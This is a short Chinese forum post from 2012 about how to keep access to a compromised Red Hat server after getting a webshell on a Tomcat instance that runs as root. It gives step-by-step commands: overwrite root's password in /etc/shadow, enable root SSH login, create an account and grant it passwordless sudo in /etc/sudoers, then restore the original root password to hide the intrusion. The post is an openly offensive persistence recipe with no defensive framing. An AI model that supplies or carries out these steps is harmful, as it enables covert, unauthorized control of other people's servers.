webshell以root权限运行的linux提权

[复制链接]
查看206 | 回复0 | 2012-4-1 19:19:31 | 显示全部楼层 |阅读模式
某日拿到某站webshell,redhat系统,Tomcat程序是root身份启动的,webshell当然也拥有root权限。
1.webshell直接替换root密码:/etc/shadow//记得备份
2.允许root通过ssh登陆:/etc/ssh/sshd_config

PermitRootLoginyes#允许root登陆
3.重启ssh服务servicesshrestart
4.以root身份登陆ssh,增加一个用户

useraddapplication

passwd//根据提示设置密码
5.更改application用户运行su不需密码

chmod+w/etc/sudoers//增加写入权限,默认只读

修改/etc/sudoers

vi/etc/sudoers

加入applicationALL=(ALL)NOPASSWD:ALL
6.把root密码修改回原样,禁止root登陆。

 
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则